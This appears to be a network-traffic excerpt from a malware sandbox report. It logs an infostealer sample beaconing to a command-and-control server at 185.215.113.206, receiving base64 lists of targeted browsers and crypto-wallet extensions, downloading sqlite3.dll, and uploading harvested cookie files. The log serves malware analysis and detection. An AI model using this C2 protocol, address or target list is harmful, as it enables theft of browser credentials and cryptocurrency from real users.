2d 0d 0a Data Ascii: ------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="hwid"21303FCAE65D2594248341------EBGIDGCAFCBKECAAKJJKContent-Disposition: form-data; name="build"mars------EBGIDGCAFCBKECAAKJJK--
Nov 26, 2024 01:41:13.233829975 CET	407	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 54 46 6b 4e 47 4d 31 59 6a 68 6a 59 6d 59 7a 4e 6a 42 68 4d 7a 59 32 5a 54 46 6c 59 54 51 7a 5a 44 4a 6a 4d 47 49 32 4d 32 52 69 4e 7a 49 32 4e 54 42 69 59 6d 45 79 5a 6a 4a 6a 4e 6d 5a 6c 4e 47 51 78 4e 44 59 77 5a 47 49 32 4f 44 55 31 4f 54 46 6b 59 6a 5a 6c 4f 47 55 79 4e 44 45 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NTFkNGM1YjhjYmYzNjBhMzY2ZTFlYTQzZDJjMGI2M2RiNzI2NTBiYmEyZjJjNmZlNGQxNDYwZGI2ODU1OTFkYjZlOGUyNDE1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 26, 2024 01:41:13.339379072 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGCGHIDHCBFHIDGHCBK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 43 47 48 49 44 48 43 42 46 48 49 44 47 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------EBGCGHIDHCBFHIDGHCBKContent-Disposition: form-data; name="message"browsers------EBGCGHIDHCBFHIDGHCBK--
Nov 26, 2024 01:41:13.793140888 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 26, 2024 01:41:13.793220043 CET	124	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdT
Nov 26, 2024 01:41:13.994297028 CET	896	IN	Data Raw: 64 47 46 79 66 46 77 33 55 33 52 68 63 6c 77 33 55 33 52 68 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 78 44 61 47 56 6b 62 33 51 67 51 6e 4a 76 64 33 4e 6c 63 6e 78 63 51 32 68 6c 5a 47 39 30 58 46 Data Ascii: dGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8QzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxNaWNyb3NvZnRcRWRnZVxBcHB
Nov 26, 2024 01:41:13.995964050 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IECBGIDAEHCGDGCBKEBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 43 42 47 49 44 41 45 48 43 47 44 47 43 42 4b 45 42 47 2d 2d 0d 0a Data Ascii: ------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------IECBGIDAEHCGDGCBKEBGContent-Disposition: form-data; name="message"plugins------IECBGIDAEHCGDGCBKEBG--
Nov 26, 2024 01:41:14.450062990 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 26, 2024 01:41:14.450145006 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 26, 2024 01:41:14.450279951 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 26, 2024 01:41:14.450325012 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 26, 2024 01:41:14.450337887 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 26, 2024 01:41:14.450349092 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Nov 26, 2024 01:41:14.458695889 CET	1040	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Nov 26, 2024 01:41:14.460374117 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="message"fplugins------AKFIDHDGIEGCAKFIIJKF--
Nov 26, 2024 01:41:14.913899899 CET	335	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 26, 2024 01:41:14.932699919 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAAFBGDBKKEBGCFCBF Host: 185.215.113.206 Content-Length: 7191 Connection: Keep-Alive Cache-Control: no-cache
Nov 26, 2024 01:41:14.932775021 CET	7191	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 41 46 42 47 44 42 4b 4b 45 42 47 43 46 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 Data Ascii: ------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------EBAAAFBGDBKKEBGCFCBFContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 26, 2024 01:41:15.927083015 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:15 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 26, 2024 01:41:16.580092907 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 26, 2024 01:41:17.031749010 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 26, 2024 01:41:17.031886101 CET	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49778	185.215.113.206	80	3796	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2024 01:41:26.512954950 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBK Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 64 34 63 35 62 38 63 62 66 33 36 30 61 33 36 36 65 31 65 61 34 33 64 32 63 30 62 36 33 64 62 37 32 36 35 30 62 62 61 32 66 32 63 36 66 65 34 64 31 34 36 30 64 62 36 38 35 35 39 31 64 62 36 65 38 65 32 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 41 41 46 42 46 42 4b 46 49 44 47 44 48 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="token"51d4c5b8cbf360a366e1ea43d2c0b63db72650bba2f2c6fe4d1460db685591db6e8e2415------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DGCAAFBFBKFIDGDHJDBKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DGCAAFBFBKFIDGDHJDBK--
Nov 26, 2024 01:41:28.359772921 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 00:41:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
